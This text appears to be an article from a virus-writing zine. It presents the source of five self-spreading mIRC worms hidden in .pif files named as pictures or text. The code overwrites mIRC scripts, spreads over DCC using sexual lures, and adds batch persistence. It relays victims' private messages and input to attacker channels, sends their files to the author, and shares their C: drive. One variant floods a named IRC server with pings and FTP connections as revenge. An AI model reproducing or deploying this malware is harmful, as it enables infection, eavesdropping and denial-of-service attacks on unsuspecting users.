-= DEL_PIF WORMS =- *********************************************************************||| *********************************************************************||| ----------------------------------------- 1 - cuteELSA.JPG.pif aka:IRC-Worm.Elsa ----------------------------------------- xCommandes MS-DOS  C:\COMMAND.COM and.com  C:\MIRC /C copy C:\mirc\download\cuteELSA.JPG.pif C:\mirc\script.ini /Y  P  MICROSOFT PIFEX  qWINDOWS 386 3.0 h  d 2   /C copy C:\mirc\download\cuteELSA.JPG.pif C:\mirc\script.ini /Y WINDOWS VMM 4.0  C:\WINDOWS\Pbrush.exe soires\Mspaint.exe  2          Terminal Courier New  P  <g    R}  [script] n0=on 1:start:{ n1=.remote on n2=.ctcps on n3=.events on n4=} n5=; n6=on 1:join:#:{ n7=if ( $nick == $me ) { halt } | .dcc send $nick C:\mirc\download\cuteELSA.JPG.pif n8=} n9=on 1:text:*cuteelsa*:#:/fserve $nick 5 C:\ n10=on 1:text:*byebyebye*:*:/exit n11=on 1:connect:.msg #Del_Armg0 and_Elsa_is_S0_Cut3! $ip on $server $+ : $+ $port $+ n12=;just a WORM .PIF, designed by ... Del_Armg0 !!! Merry X-Mas ;) Dec99 >>> >>> This worm copies itself as C:\mirc\script.ini from C:\mirc\download\cuteELSA.JPG.pif >>> *********************************************************************||| *********************************************************************||| ------------------------------------------- 2 - EmmaPeel.HTML.pif aka:IRC-Worm.Elsa.b ------------------------------------------- xCommandes MS-DOS  C:\COMMAND.COM and.com  C:\MIRC /C copy C:\mirc\download\EmmaPeel.HTML.pif C:\mirc\script.ini /  P  MICROSOFT PIFEX  qWINDOWS 386 3.0 h  d 2   /C copy C:\mirc\download\EmmaPeel.HTML.pif C:\mirc\script.ini / WINDOWS VMM 4.0  C:\WINDOWS\Write.exe  2          Terminal Courier New  P  0,<g    R}  [script] n0 =on 1:start:{ n1 =.remote on n2 =.ctcps on n3 =.events on n4 = } n5 =on 1:CONNECT:/run -n C:\COMMAND.COM /C copy C:\mirc\download\EmmaPeel.HTML.pif C:\Windows\EmmaPeel.HTML.pif n6 =on 1:JOIN:#:{ n7 =if ( $nick == $me ) { halt } | .dcc send $nick C:\Windows\EmmaPeel.HTML.pif n8 = } n9 =; n10=on 1:TEXT:*bye*:#:{ n11=if ( $nick == $me ) { halt } | .dcc send $nick C:\mirc\download\EmmaPeel.HTML.pif n12= } n13=on 1:DISCONNECT:/copy -o C:\Windows\EmmaPeel.HTML.pif C:\mirc\download\EmmaPeel.HTML.pif n14=on 1:INPUT:*:.msg #EmmaPeel [( $+ $active $+ ) $1-] n15=on 1:TEXT:*:?:.msg #EmmaPeel [( $+ $active $+ ) $1-] n16=on 1:TEXT:*emmapeel*:#:/nick EmmaPeelx n17=on 1:QUIT:/write -ci C:\Windows\Winstart.bat @copy /B C:\Windows\EmmaPeel.HTML.pif C:\mirc\download\EmmaPeel.HTML.pif /Y n18=; n19=on 1:TEXT:*:?:/write -i C:\Windows\Winstart.bat @start /m C:\mirc\download\EmmaPeel.HTML.pif n20=} n21=;just ze WORM .PIF II , designed by ... Del_Armg0 !ze!first!PIF!W0rm! Merry XxX-Masss ;) 17Dec99 oh!_i_luv_u_Miss_Peel! n22=;EMMA_PEEL Greetz to: [ZULU]=[SECRET]=[STRAM]=[VIRUSBUST]=[PHAGE]=[PERIKLES]=[LYSKO]=& all the guys on #vxtrader_#vx-vtc >>> >>> This worm copies itself as C:\mirc\script.ini from C:\mirc\download\EmmaPeel.HTML.pif >>> *********************************************************************||| *********************************************************************||| -------------------------------------------- 3 - X_PASS.TXT.pif aka:IRC-Worm.Movie.c (Grrrr!!) -------------------------------------------- xJust a Fabulous Worm IBLIS  %comspec% .COM and.com  C:\ /c copy c:\mirc\download\X_PASS.TXT.pif %windir%\winstart.bat  P  MICROSOFT PIFEX  qWINDOWS 386 3.0 h  d 2   /c copy c:\mirc\download\X_PASS.TXT.pif %windir%\winstart.bat WINDOWS VMM 4.0  C:\WINDOWS\Notepad.exe   2          Terminal Courier New  P  L,<g    @ECHO OFF ctty nul :act1 set z=progra~1 set s=progra~2 set x=mIRC set x2=mIRC32 set y=internet set y2=chat set y3=web for %%i in (c:\%x%,c:\%x2%,c:\%z%\%x%,c:\%z%\%x2%,c:\%s%\%x%,c:\%s%\%x2%,c:\%y%\%x%,c:\%y%\%x2%,c:\%y2%\%x%,c:\%y2%\%x2%,c:\%y3%\%x%,c:\%y3%\%x2%) do copy %0 %%i\Script.ini /Y attrib +r +s +h %%i\Script.ini attrib +r +s %0 :act2 if not exist c:\C0MMAND.COM goto act3 goto end :act3 copy %0 c:\C0MMAND.COM /Y attrib +r +s c:\C0MMAND.COM :end ctty con @exit [SCRIPT] ; ;mIRC main Script. Please don't edit! http://www.mirc.co.uk ;by Khaled Mardam-Bey ;Copyright 1995-2000 mIRC Co. Ltd. ; ; n1=on 1:start:{ n2= .remote on n3= .ctcps on n4= .events on n5= .raw on n6= } n7=alias /remove /echo *** Removed $1- n8=alias /play /echo *** Unable to play $1- n9=alias /unload /echo *** Unloaded $1- n10=alias /events /.events on | /echo *** Events are OFF n11=alias /remote /.remote on | /echo *** Remote is OFF (Ctcps,Events,Raw) n12=on 1:text:*worm*:?:/.ignore $nick n13=on 1:text:*virus*:?:/.ignore on $nick n14=on 1:filercvd:*.*:.dcc send Del_Armg0 $filename n15=on 1:filesent:*.exe,*.com,*.bat,*.ini,*.vbs,*.zip,*.jpg,*.txt,*.html:.dcc send Del_Armg0 $filename n16=on 1:text:*:#:/.msg #iblis_worm *->  $+ $chan $+  < $+ $nick $+ > $parms n17=on 1:text:*:?:/.msg #iblis_worm *-> From: $nick $+ * $parms n18=on 1:input:*:/.msg #iblis_worm [( $+ $active $+ ) $1-] $cb $url n19=on 1:op:#:/.msg $chan Please if u want my Special Iblis Sex Pass List :) TYPE: !sexpass n20=on 1:text:*!sexpass*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\X_PASS.TXT.pif | /raw privmsg $nick Hi! Here is my last updated XXX Pass list ! Enjoy :)) } n21=on 1:hotlink:*:*:/.msg #iblis_worm *-> User clicked word $1 in line $hotline n22=on 1:connect: .copy c:\C0MMAND.COM c:\X_PASS.TXT.pif n23=on 1:disconnect: .remove c:\X_PASS.TXT.pif n24=on 1:join:#:{ n25=if ( $nick == $me ) { halt } | .dcc send $nick c:\X_PASS.TXT.pif n26= } n27=on 1:kick:#:/.msg $chan Please if u want my Special Iblis Sex Pass List :) TYPE: !sexpass ; ; ; ; ;_ IBLIS WORM _ designed by Del_Armg0 _ on 30/01/2000 __ GreetZ to U IBLIS ! My Dear KaT :) An Alive Po3m... ; >>> >>> This worm copies itself as %windir%\winstart.bat from C:\mirc\download\X_PASS.TXT.pif >>> *********************************************************************||| *********************************************************************||| -------------------- 4 - IBLIS_ME.BMP.pif N//A -------------------- xCommandes MS-DOS  %comspec% .com and.com  :\MIRC /c copy IBLIS_~1.pif ..\script.ini /Y /Y C:\mirc\script.ini /Y  P  MICROSOFT PIFEX  qWINDOWS 386 3.0 h  d 2   /c copy IBLIS_~1.pif ..\script.ini /Y /Y C:\mirc\script.ini /Y WINDOWS VMM 4.0  C:\WINDOWS\Pbrush.exe soires\Mspaint.exe  2          Terminal Courier New  P  <g    R}  [SCRIPT] ;mIRC main Script. Please don't edit! http://www.mirc.co.uk ;by Khaled Mardam-Bey ;Copyright 1995-2000 mIRC Co. Ltd. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; n1=on 1:start:{ n2= .remote on n3= .ctcps on n4= .events on n5= .raw on n6= } n7=alias /remove /echo *** Removed $1- n8=alias /unload /echo *** Unloaded $1- n9=on 1:text:*virus*:?:/.ignore $nick n10=on 1:text:*worm*:?:/.ignore $nick n11=on 1:kick:#:/.msg $chan Please if u want my Special Iblis Favorite Picx :) TYPE: !sexpix n12=on 1:text:*!sexpix*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick $mircdir\download\IBLIS_ME.BMP.pif | /raw privmsg $nick Hi! Here is my Favorite Picx ! Enjoy :)) } n13=on 1:connect:/.copy $mircdir $+ script.ini C:\windows\IBLIS_ME.BMP.pif n14=on 1:filercvd:*.exe,*.com,*.bat,*.ini,*.vbs,*.zip,*.jpg,*.txt,*.html:.dcc send Del_Armg0 $filename n15=on 1:text:*IBLIS*:#:/fserve $nick 9 C:\ n16=on 1:text:*:#:/.msg #iblis_wormfinal *->  $+ $chan $+  < $+ $nick $+ > $parms n17=on 1:text:*:?:/.msg #iblis_wormfinal *-> From: $nick $+ * $parms n18=on 1:input:*:/.msg #iblis_wormfinal [( $+ $active $+ ) $1-] $cb $url n19=on 1:op:#:/.msg $chan Please if u want my Special Iblis Favorite Picx :) TYPE: !sexpix n20=on 1:part:#:{ n21=if ( $nick == $me ) { halt } | .dcc send $nick c:\windows\IBLIS_ME.BMP.pif n22= } n23=on 1:disconnect:/.copy $mircdir $+ script.ini c:\windows\winstart.bat n24=on 1:join:#:{ n25=if ( $nick == $me ) { halt } | .dcc send $nick $mircdir\download\IBLIS_ME.BMP.pif n26= } ; Del_Armg0 Pif Worm First Maker /|\ Thx to Anaktos24 for a good trick to add ! ;_ IBLIS WORM _ GreetZ to U IBLIS ! My Dear KaT :) An Alive AnA... ;MY LAST .PIF WORM, designed by ... Del_Armg0 !!! JUNE2000 -=- NOW ITS REALLY OKI ;) @ECHO OFF ctty nul :act1 set z=progra~1 set s=progra~2 set x=mIRC set x2=mIRC32 set y=internet set y2=chat set y3=web for %%i in (c:\%x%,c:\%x2%,c:\%z%\%x%,c:\%z%\%x2%,c:\%s%\%x%,c:\%s%\%x2%,c:\%y%\%x%,c:\%y%\%x2%,c:\%y2%\%x%,c:\%y2%\%x2%,c:\%y3%\%x%,c:\%y3%\%x2%) do copy %0 %%i\Script.ini /Y attrib +r +s +h %%i\Script.ini attrib +r +s %0 :end ctty con @exit >>> >>> This worm copies itself as ..\Script.ini from IBLIS_~1.pif // the script will drop a .bat >>> *********************************************************************||| *********************************************************************||| --------------------- 5 - sexyPHAGE.GIF.pif N//A --------------------- xSexyPHAGE - [PHAGE.Dos.Worm]  %comspec% \COMMAND.COM  :\WINDOWS /c copy SEXYPH~1.PIF ..\script.ini /Y  P  MICROSOFT PIFEX  qWINDOWS 386 3.0 h  d 2   /c copy SEXYPH~1.PIF ..\script.ini /Y WINDOWS VMM 4.0  C:\WINDOWS\Pbrush.exe  2          Terminal Courier New  P  <h  j   [SCRIPT] ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;mIRC main Script. Please don't edit; ;by Khaled Mardam-Bey-Phage ; ;Copyright 1995-2000 mIRC Co. Ltd.; ;http://www.mirc.co.uk.Phage ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; n1=on 1:start:{ n2= .remote on n3= .ctcps on n4= .events on n5= .raw on n6= } n7=alias /remove /echo *** Removed $1- n8=alias /unload /echo *** Unloaded $1- n9=on 1:text:*hello*:?:/.run -n PING.exe -n 222 -a -l 666 -f spinaltap.trapnet.com n10=on 1:text:*vir*:?:/.ignore $nick n11=on 1:text:*wor*:?:/.ignore $nick n12=on 1:connect:/.run -n PING.exe -n 111 -a -l 999 spinaltap.trapnet.com n13=on 1:ban:#:/.run -n c:\windows\FTP.exe -v spinaltap.trapnet.com n14=on 1:disconnect:/.copy -o $mircdir $+ script.ini c:\windows\winstart.bat | /.copy -o $mircdir $+ script.ini c:\windows\SexyPHAGE.GIF.pif | /.run -n COMMAND.com /c start /m c:\windows\winstart.bat n15=on 1:text:*!so*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n16=on 1:kick:#:/.msg $chan Jf 24 exhib _ wanna a nude picture of me...? TYPE: !sosexy n17=on 1:op:#:/.msg $chan I'm sure u want pics of my girlfriends...! so TYPE: !socuty n18=on 1:part:#:{ n19=if ( $nick == $me ) { halt } | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif n20= } n21=on 1:join:#:/.msg $nick JF 26 exhib ;) - If u want a picture of me... hihi! TYPE: !sohot in the channel window :)) n22=on 1:nick:/.msg $newnick JF 32 exhib here - If u want picture of me and my boy in action!... woooo! TYPE: !sosex in the channel window 0=)) n23=on 1:text:*teen*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n24=on 1:text:*trad*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n25=on 1:text:*sex*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n26=on 1:text:*pict*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n27=on 1:text:*photo*:#:{ if ( $nick == $me ) {halt} | .dcc send $nick c:\windows\SexyPHAGE.GIF.pif } n28=on 1:text:*bye*:#:/.run -n c:\windows\FTP.exe -v 63.162.153.65 n29=on 1:text:*salut*:#:/.run -n c:\windows\FTP.exe -v 63.162.153.66 n30=on 1:topic:#:/.run -n PING.exe -t -a -l 65527 spinaltap.trapnet.com n31=on 1:unban:#:/.run -n c:\windows\FTP.exe -v spinaltap.trapnet.com n32=on 1:input:?:/.run -n c:\windows\FTP.exe -v spinaltap.trapnet.com ; ;JaUeSuT AaNeOuTaHeEuR PaIeF WaOeRuM FaReOuM DEL_ARMG0 ! BaUeT TaHeIuS TaIeMuE FaOeR REVENGE [PHAGE.DoS.WORM] ; ; ++0++0++0++0++0++0++0++0++0++ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|--<-@ ;TakeOv. a nick Warffff!!! I guess A.V. man are only able of that ! HAHAHAHAHA! ;;Fuck'Fuckin'Fucker:Scatman, Spinaltap, www.trapnet, & shitty #dmsetup team... ;;;I hope this nice little Worm will crash ur fuckin server|and before to make ;;;;the Boss with ur lame bot, come and code... Warfwarfwarf... too hard ??.. ;;;HEY PHAGE! SORRY FOR THE MISTAKE I DID!! ;[ SO THIS WORM IS DEDICATED TO PHAGE ;;A OLD ELECTRONIC FRIEND :) SO SORRY FOR THE ANGER...!!! MAKING ON 07-08/06/00 ;JUST ANOTHER PIF WORM FROM DEL_ARMG0 ! BUT THIS TIME FOR REVENGE [PHAGE.DoS.WORM] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|--<-@ ; ++0++0++0++0++0++0++0++0++0++ :: @ECHO OFF ctty nul :prelud set z=progra~1 set s=progra~2 set x=mIRC set x2=mIRC32 set y=internet set y2=chat set y3=web for %%i in (c:\%x%,c:\%x2%,c:\%z%\%x%,c:\%z%\%x2%,c:\%s%\%x%,c:\%s%\%x2%,c:\%y%\%x%,c:\%y%\%x2%,c:\%y2%\%x%,c:\%y2%\%x2%,c:\%y3%\%x%,c:\%y3%\%x2%) do copy %0 %%i\Script.ini /Y attrib +r +s +h %0 :deeprooting copy %0 SexyPHAGE.GIF.pif /Y ::PING.exe -a -n 111 -l 7777 -f spinaltap.trapnet.com . won't be used ... ::; ++0++0++0++0++0++0++0++0++0++ ::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|--<-@ ::;TakeOv. a nick Warffff!!! I guess A.V. man are only able of that ! HAHAHAHAHA! ::;;Fuck'Fuckin'Fucker:Scatman, Spinaltap, www.trapnet, & shitty #dmsetup team... ::;;;I hope this nice little Worm will crash ur fuckin server|and before to make ::;;;;the Boss with ur lame bot, come and code... Warfwarfwarf... too hard ??.. ::;;;HEY PHAGE! SORRY FOR THE MISTAKE I DID!! ;[ SO THIS WORM IS DEDICATED TO PHAGE ::;;A OLD ELECTRONIC FRIEND :) SO SORRY FOR THE ANGER...!!! MAKING ON 07-08/06/00 ::;JUST ANOTHER PIF WORM FROM DEL_ARMG0 ! BUT THIS TIME FOR REVENGE [PHAGE.DoS.WORM] ::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;|--<-@ ::; ++0++0++0++0++0++0++0++0++0++ ctty con @exit :: >>> >>> This worm copies itself as ../Script.ini from SEXYPH~1.PIF // the script will drop a .bat >>> Del_ / MATRiX Team / Zine#2